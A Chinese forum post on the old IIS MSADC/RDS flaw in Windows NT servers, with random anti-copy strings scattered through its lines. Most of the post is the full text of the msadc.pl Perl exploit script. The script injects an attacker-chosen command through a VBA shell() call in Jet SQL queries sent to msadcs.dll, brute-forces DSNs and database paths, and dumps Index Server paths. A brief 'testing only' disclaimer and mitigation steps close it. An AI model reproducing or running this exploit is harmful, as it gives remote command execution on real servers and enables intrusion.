社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 168586阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) l^MzN  
a>O9pX  
涉及程序: txgQ"MGA%  
Microsoft NT server )\uO9PB[O  
81LNkE,  
描述: {LHR!~d}5f  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 (~~w7L s  
"es?=  
详细: . #lsic8]  
如果你没有时间读详细内容的话,就删除: :Y,BdU  
c:\Program Files\Common Files\System\Msadc\msadcs.dll G q<X4C#|  
有关的安全问题就没有了。 2 {Vcb  
M$4[)6Y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 DV)3  
pCh2SQ(Q>  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 :#k &\f-Y  
关于利用ODBC远程漏洞的描述,请参看: ]i<[d ,  
KnhoaBB  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5q9s,r_  
eB> s=}|  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ew _-Eb  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?<Wb@6kh`  
w;UqEC V  
这里不再论述。 u9+kLepOT  
uDw.|B2ui  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: yXI >I  
94sk kEj  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset CI U1R;  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! (" ~ DJ=  
4(6b(]G'#  
P O :"B6  
#将下面这段保存为txt文件,然后: "perl -x 文件名" x<Vm5j  
2d%}- nw  
#!perl ZF7IL  
# mE`kjmX{E  
# MSADC/RDS 'usage' (aka exploit) script ez]tAW  
# <f@"HG l  
# by rain.forest.puppy zZcnijWb  
# 40E#JF#  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me k>x&Ip8p  
# beta test and find errors! ;Gx)Noo/>  
W[EKD 7  
use Socket; use Getopt::Std; 9O{b]=>wq  
getopts("e:vd:h:XR", \%args); ~x#w<0e>  
J^R=dT!  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ~/^5) g_  
X@@8"@/u|*  
if (!defined $args{h} && !defined $args{R}) { yRp"jcD  
print qq~ )-*5v D  
Usage: msadc.pl -h <host> { -d <delay> -X -v } jls-@Wl  
-h <host> = host you want to scan (ip or domain) (Yo>Oh4  
-d <seconds> = delay between calls, default 1 second RrU BpqA  
-X = dump Index Server path table, if available bVP"(H]  
-v = verbose rc&%m  
-e = external dictionary file for step 5 s,#>m*Rh  
;%tF58&  
Or a -R will resume a command session ljl^ GFo  
`.s({/|[  
~; exit;} t!Sq A(-V  
V%$/#sza  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; -*5Rnx|Y{  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} .920{G?l5  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 8-<:i  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 0TpK#OlI|c  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 4_Dp+^JF  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } `u>4\sv  
{*{Ox[Nh{  
if (!defined $args{R}){ $ret = &has_msadc; Eu"_MgD  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} gbVdOm  
pTIf@n6I  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" (/35p g6\  
. "cmd /c "; W9NX=gE4  
$in=<STDIN>; chomp $in; q6YXM  
$command="cmd /c " . $in ; cGjPxG;  
q, O$ %-70  
if (defined $args{R}) {&load; exit;} g}@OUG"D  
YPHS 1E?  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; LL:_L<  
&try_btcustmr; k)EX(T\  
>EY3/Go>  
print "\nStep 2: Trying to make our own DSN..."; vpmj||\-  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; .\>v0Du  
MEB it  
print "\nStep 3: Trying known DSNs..."; cnTaJ/o  
&known_dsn; I? ,>DHUX  
I`NjqyTW  
print "\nStep 4: Trying known .mdbs..."; $DG?M6   
&known_mdb; ~69&6C1Ch  
sr8cYLm5R  
if (defined $args{e}){ ]U"94S U:)  
print "\nStep 5: Trying dictionary of DSN names..."; .Wjs~0c  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } H;RwO@v  
!47n[Zs  
print "Sorry Charley...maybe next time?\n"; <[w=TdCPs  
exit; #%DE;  
-Uml_/rd_  
############################################################################## *}P~P$q%  
Gz .|]:1  
sub sendraw { # ripped and modded from whisker AK@9?_D  
sleep($delay); # it's a DoS on the server! At least on mine... #U14-^7  
my ($pstr)=@_; p5G?N(l  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || S]+ :{9d  
die("Socket problems\n"); K6R.@BMN  
if(connect(S,pack "SnA4x8",2,80,$target)){ 41&\mx  
select(S); $|=1; wmTb97o  
print $pstr; my @in=<S>; .9wk@C(Eh_  
select(STDOUT); close(S); =?!wXOg_  
return @in; ;+"+3  
} else { die("Can't connect...\n"); }} V:y'Qf2M  
F w?[lS  
############################################################################## M3.do^ss  
A0Qb 5e  
sub make_header { # make the HTTP request YPxM<Gfa8  
my $msadc=<<EOT Yw- G'  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ov, hI>0!D  
User-Agent: ACTIVEDATA (!:,+*YY  
Host: $ip YOcO4   
Content-Length: $clen 7Op>i,HZk\  
Connection: Keep-Alive >7 ="8  
CB^U6ZS  
ADCClientVersion:01.06 @{2 5xTt  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Hm*/C4B`  
\kZ?  
--!ADM!ROX!YOUR!WORLD! |:gf lseE  
Content-Type: application/x-varg OGl}-kw  
Content-Length: $reqlen m;,N)<~  
+U3DG$  
EOT hv?9*tLh0  
; $msadc=~s/\n/\r\n/g; 'tH_p  
return $msadc;} s%W C/ZK  
,y#Kv|R  
############################################################################## o2F)%TDY  
NCDvo bYJ  
sub make_req { # make the RDS request J\b^)  
my ($switch, $p1, $p2)=@_; y gz6C  
my $req=""; my $t1, $t2, $query, $dsn; A*\.NTM  
z:wutqru  
if ($switch==1){ # this is the btcustmr.mdb query %%[LKSTb  
$query="Select * from Customers where City=" . make_shell(); x<ZJb  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Te[n,\Nb  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} XuFYYx~ ^3  
)P sY($ &  
elsif ($switch==2){ # this is general make table query p^w;kN  
$query="create table AZZ (B int, C varchar(10))"; lN Yt`xp  
$dsn="$p1";} JJN.ugT}1  
9P+-#B  
elsif ($switch==3){ # this is general exploit table query vQ 6^xvk]  
$query="select * from AZZ where C=" . make_shell(); ZpQ)IHA.  
$dsn="$p1";} cPlZXf  
]Gsv0Xk1  
elsif ($switch==4){ # attempt to hork file info from index server s*.hl.k.  
$query="select path from scope()"; T{-CkHf9Q  
$dsn="Provider=MSIDXS;";} ~UP[A'9jJ  
A PEE ~  
elsif ($switch==5){ # bad query \XZ/v*d0  
$query="select"; VZKvaxIk6  
$dsn="$p1";} gi1^3R[  
.[ICx  
$t1= make_unicode($query); 1G^`-ri6  
$t2= make_unicode($dsn); Hquc o  
$req = "\x02\x00\x03\x00"; `r9!zffyS  
$req.= "\x08\x00" . pack ("S1", length($t1)); Hx?;fl'G%  
$req.= "\x00\x00" . $t1 ; X aMJDa|M  
$req.= "\x08\x00" . pack ("S1", length($t2)); W_"sM0 w  
$req.= "\x00\x00" . $t2 ; g,!L$,/F  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; VAHh~Q6 ;e  
return $req;} 5@~ Q^r:%  
H&-zZc4\  
############################################################################## X}Ai -D  
u7>],<  
sub make_shell { # this makes the shell() statement ig/xv  
return "'|shell(\"$command\")|'";} !$gR{XH$]  
GjvOM y  
############################################################################## VA#"r!1  
I&x=;   
sub make_unicode { # quick little function to convert to unicode 3YR!Mq$|~  
my ($in)=@_; my $out; 0AL=S$B)  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } p8Qk 'F=h  
return $out;} SE1=>S%p  
'-Vt|O_Q  
############################################################################## I 5^!y  
%]}  
sub rdo_success { # checks for RDO return success (this is kludge) |ATvS2  
my (@in) = @_; my $base=content_start(@in); -cAo@}v  
if($in[$base]=~/multipart\/mixed/){ c(xrP/yOwi  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 286jI7T  
return 0;} ,l\- xSM  
L>Fa^jq5  
############################################################################## Ga^"1TZ x  
8;RUf~q?  
sub make_dsn { # this makes a DSN for us K0|FY=#2y  
my @drives=("c","d","e","f"); 2*laAB  
print "\nMaking DSN: "; #A JDWelD  
foreach $drive (@drives) { 3u+T~g0^  
print "$drive: "; U:0mp"  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . V^bwXr4f  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 6 ob@[ @  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); p>v$FiV2N  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Nk? ^1n$  
return 0 if $2 eq "404"; # not found/doesn't exist g}k`o!q  
if($2 eq "200") { Y!w`YYKP  
foreach $line (@results) { z!ZtzD]cb  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} h+g_rvIG*  
} return 0;} /NI;P]s.  
y.mda:$~=  
############################################################################## /T0F"e)Ci  
1Y\DJ@lh  
sub verify_exists { ) j#`r/  
my ($page)=@_; FpmM63$VN[  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 2*;~S4 4  
return $results[0];} *v^Jb/E315  
9<6;Hr,>G  
############################################################################## P64PPbP  
>* f-Wde  
sub try_btcustmr { un mJbY;t  
my @drives=("c","d","e","f"); O:;w3u7;u  
my @dirs=("winnt","winnt35","winnt351","win","windows"); LM<qT-/qs  
l *(8i ^  
foreach $dir (@dirs) { %rL.|q9  
print "$dir -> "; # fun status so you can see progress NX*Q F+  
foreach $drive (@drives) { 'T*&'RQr  
print "$drive: "; # ditto  dVtG/0  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 6_GhO@lOG  
$reqlenlen=length( "$reqlen" ); itt3.:y  
$clen= 206 + $reqlenlen + $reqlen; g[' ^L +hd  
qZ}^;)a^  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 2j [=\K]  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} C!<Ou6}!b  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} XPXIg  
)4e.k$X^  
############################################################################## vtg !8u4  
x}Eg.S  
sub odbc_error { \h/H#j ZJ  
my (@in)=@_; my $base; i#n0U/  
my $base = content_start(@in); y@S$^jk.  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this r,73C/*&/  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; RLjc&WhzXu  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *SJ_z(CZm  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,aZ[R27rpL  
return $in[$base+4].$in[$base+5].$in[$base+6];} >C>.\  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; gV's=cQ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . C`hU]  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}  ~d.Y&b  
,wb:dj-  
############################################################################## K<3A1'_  
G5BfNU  
sub verbose { LYTdTP  
my ($in)=@_; Ko<:Z)PS  
return if !$verbose; U)o-8OEZ9  
print STDOUT "\n$in\n";} jp%S3)  
`KoV_2|  
##############################################################################  ~^:A{/  
T4Uev*A  
sub save { <44G]eb  
my ($p1, $p2, $p3, $p4)=@_; hD 82tr  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; oWT3apGO  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; *w`sM%]Rq  
close OUT;} Z"xvh81P  
2*& ^v  
############################################################################## vm8eZG|  
 ?(1 y  
sub load { `g=J%p  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 6xx ?A>:  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); -$ls(oot  
@p=<IN>; close(IN); 3qC}0CP*  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); q"lSZ; 'E  
$target= inet_aton($ip) || die("inet_aton problems"); <dtGK~_  
print "Resuming to $ip ..."; 6@5+m 0`u3  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; >1Ibc=}g  
if($p[1]==1) { )D7m,Wi+  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; D%pF;XY  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; L,/%f<wd  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); D;*SnU(9L  
if (rdo_success(@results)){print "Success!\n";} iOghb*aW  
else { print "failed\n"; verbose(odbc_error(@results));}} Dcgo%F-W  
elsif ($p[1]==3){ d7;um<%zn  
if(run_query("$p[3]")){ Se}c[|8  
print "Success!\n";} else { print "failed\n"; }} j3V -LnA  
elsif ($p[1]==4){ 194)QeoFw  
if(run_query($drvst . "$p[3]")){ A|4[vz9>H  
print "Success!\n"; } else { print "failed\n"; }} A}9`S6@@  
exit;} xJ]\+ 50  
U?Zq6_M&  
############################################################################## }o(-=lF  
N:/D+L  
sub create_table { kVMg 1I@  
my ($in)=@_; &U#|uc!+  
$reqlen=length( make_req(2,$in,"") ) - 28; Q Z  
$reqlenlen=length( "$reqlen" ); YK'<NE3 4  
$clen= 206 + $reqlenlen + $reqlen; n b?l TX~  
my @results=sendraw(make_header() . make_req(2,$in,"")); N =}A Z{$  
return 1 if rdo_success(@results); 83_h J  
my $temp= odbc_error(@results); verbose($temp); [}=B8#Jl-C  
return 1 if $temp=~/Table 'AZZ' already exists/; ![=yi tB  
return 0;} f}P3O3Yv&  
6A-|[(NS  
############################################################################## 904}Jh,  
G5 WVr$  
sub known_dsn { |u<7?)mp  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go R&k<AZ  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", :4/3q|cn  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", db7B^|Di  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); g8% &RG  
#q=Efn'  
foreach $dSn (@dsns) { 583|blL  
print "."; ^hM4j{|&M  
next if (!is_access("DSN=$dSn")); dUZ ,m9u  
if(create_table("DSN=$dSn")){ ;4|15S  
print "$dSn successful\n"; <\^8fn   
if(run_query("DSN=$dSn")){ f2`2,?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { VY4yS*y  
print "Something's borked. Use verbose next time\n";}}} print "\n";} sDlO#  
S2&4g/  
############################################################################## + =</&Tm  
pl?`8@dI  
sub is_access { hRhe& ,v  
my ($in)=@_; tT_\i6My  
$reqlen=length( make_req(5,$in,"") ) - 28; 7Ak6,BuI%  
$reqlenlen=length( "$reqlen" ); 5U$0F$BBp  
$clen= 206 + $reqlenlen + $reqlen; 3XV/Fb}!(i  
my @results=sendraw(make_header() . make_req(5,$in,"")); )3EY;  
my $temp= odbc_error(@results); ;HO=  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); mCVFS=8V  
return 0;} /y}xX  
2E'UZ m  
############################################################################## !%c\N8<>GD  
)jP1or  
sub run_query { fuySN!s  
my ($in)=@_; 2c*GuF9(0  
$reqlen=length( make_req(3,$in,"") ) - 28; BRiE&GzrF  
$reqlenlen=length( "$reqlen" ); `X&gE,Ii  
$clen= 206 + $reqlenlen + $reqlen; /a4{?? #e  
my @results=sendraw(make_header() . make_req(3,$in,"")); 4|DWOQ':  
return 1 if rdo_success(@results); (O3nL.  
my $temp= odbc_error(@results); verbose($temp); 2P0*NQ   
return 0;} s;Q!X ?Q  
@\#td5'  
############################################################################## /PIcqg  
Gyc]?m   
sub known_mdb { (f"4,b^]  
my @drives=("c","d","e","f","g"); yY q,*<G  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [{,1=AB  
my $dir, $drive, $mdb; `[ir}+S  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; CLRdm ^B  
SwMc pNo  
# this is sparse, because I don't know of many XwaXdvmK  
my @sysmdbs=( "\\catroot\\icatalog.mdb", q(84+{>B  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", fNFY$:4X  
"\\system32\\certmdb.mdb", &%J08l6  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% X'iWJ8  
 f.)O2=  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", &tj!*k'  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 4.t-i5  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ^ [@ ,  
"\\cfusion\\cfapps\\security\\realm_.mdb", /%^#8<=|U  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 4Fr  
"\\cfusion\\database\\cfexamples.mdb", N~'c_l  
"\\cfusion\\database\\cfsnippets.mdb", >z@0.pN]7  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", c\j/k[\<  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", PEZ!n.'S  
"\\cfusion\\brighttiger\\database\\cleam.mdb", =UWI9M*sz  
"\\cfusion\\database\\smpolicy.mdb", |yPu!pfl  
"\\cfusion\\database\cypress.mdb", I; rGD^  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Cp0=k  
"\\website\\cgi-win\\dbsample.mdb", F:S}w   
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", EADqC>  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ,z=LY5_z)  
); #these are just Qo|\-y-#  
foreach $drive (@drives) { SE*g;Cvg1  
foreach $dir (@dirs){ j0q&&9/Jj  
foreach $mdb (@sysmdbs) { 4j^ @wV'  
print "."; {+>-7 9b  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ r9?Mw06Wc5  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; JB<t6+"rD  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Jln:`!#fDf  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; N"ST@/j.A  
} else { print "Something's borked. Use verbose next time\n"; }}}}} tQ#n${a@f  
La[V$+Y  
foreach $drive (@drives) { 3ckclO\|>  
foreach $mdb (@mdbs) { `Urhy#LC  
print "."; FGzwhgy  
if(create_table($drv . $drive . $dir . $mdb)){ 0w7DsPdS  
print "\n" . $drive . $dir . $mdb . " successful\n"; ?}Y]|c^W  
if(run_query($drv . $drive . $dir . $mdb)){ oQJtUP%  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; pd$[8Rmj_  
} else { print "Something's borked. Use verbose next time\n"; }}}} a d\ot#V  
} 4_ML],.  
6_B]MN!(  
############################################################################## ,PD QzJY  
MF'JeM;H  
sub hork_idx { 8 L Cb+^  
print "\nAttempting to dump Index Server tables...\n"; kyV8K#}%8  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; "#g}ve,  
$reqlen=length( make_req(4,"","") ) - 28; E!F^H^~$8  
$reqlenlen=length( "$reqlen" ); &UFZS94@r  
$clen= 206 + $reqlenlen + $reqlen; P.DK0VgY  
my @results=sendraw2(make_header() . make_req(4,"","")); #AY&BWS$  
if (rdo_success(@results)){ gjlx~.0d  
my $max=@results; my $c; my %d; +lTq^4  
for($c=19; $c<$max; $c++){ {{!-Gr  
$results[$c]=~s/\x00//g; Q+{n-? :  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;  Nz-&MS  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; );YDtGip J  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; #w=~lq)9  
$d{"$1$2"}="";} BnY&f  
foreach $c (keys %d){ print "$c\n"; } 2~[juWbz  
} else {print "Index server doesn't seem to be installed.\n"; }} BTxrp  
kq-) ^,{y  
############################################################################## \w8\1~#  
7d\QB (~  
sub dsn_dict { * v#o  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); @O~pV`_tD  
while(<IN>){ nJ;.Td  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; .6J$,.Ig  
next if (!is_access("DSN=$dSn")); _Z\G5x  
if(create_table("DSN=$dSn")){ F"mmLao  
print "$dSn successful\n"; FP>2C9:d  
if(run_query("DSN=$dSn")){ %z$#6?OK^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5bb(/YtFy  
print "Something's borked. Use verbose next time\n";}}} 5mR 1@  
print "\n"; close(IN);} J .<F"r>  
1\.pMHv/  
############################################################################## ?V=CB,^  
Iu6   
sub sendraw2 { # ripped and modded from whisker W%w~ah|/]  
sleep($delay); # it's a DoS on the server! At least on mine... 0*v2y*2V  
my ($pstr)=@_; Gq P5Kx+=  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || $:^td/p J  
die("Socket problems\n"); ,#K'PB4E  
if(connect(S,pack "SnA4x8",2,80,$target)){ [D1Up  
print "Connected. Getting data"; 19] E 5'AI  
open(OUT,">raw.out"); my @in; ee=D1qNu;  
select(S); $|=1; print $pstr; +w~oH=  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} @(lh%@hO  
close(OUT); select(STDOUT); close(S); return @in; _u Il  
} else { die("Can't connect...\n"); }} !n%j)`0M  
$pz/?>!  
############################################################################## H,NF;QPPC  
rZpXPI  
sub content_start { # this will take in the server headers LRF103nw  
my (@in)=@_; my $c; !`r$"}g  
for ($c=1;$c<500;$c++) { v` r:=K  
if($in[$c] =~/^\x0d\x0a/){ ,fRq5"?  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Tsx>&WC  
else { return $c+1; }}} oL<St$1  
return -1;} # it should never get here actually KY^Z  
"wc<B4"  
############################################################################## 2Z%O7V~u  
7-A2_!_x{  
sub funky { w2J<WC+_<  
my (@in)=@_; my $error=odbc_error(@in); 6w77YTJ  
if($error=~/ADO could not find the specified provider/){ *z2s$EZ  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; *lb<$E]="!  
exit;} >-c8q]()ly  
if($error=~/A Handler is required/){ K,UMqAmk  
print "\nServer has custom handler filters (they most likely are patched)\n"; F:ELPs4"  
exit;} .G\7cZ  
if($error=~/specified Handler has denied Access/){ :E?V.  
print "\nServer has custom handler filters (they most likely are patched)\n"; Vw"\{`  
exit;}} tf G@&&%9  
fc@A0Hf  
############################################################################## &m vSiyKX  
FgO)DQm  
sub has_msadc { V43H /hl  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); )`}:8y?  
my $base=content_start(@results); y+;|Fz  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); nRY5xRvK  
return 0;} :hA#m[  
E\$W_Lmr  
######################## Q@HV- (A  
Y\tui+?J  
!&\INl-Z  
解决方案: tnIX:6  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll D`AsRd  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 'ig'cRD6N  
CQ2jP G*py  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录 或 注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八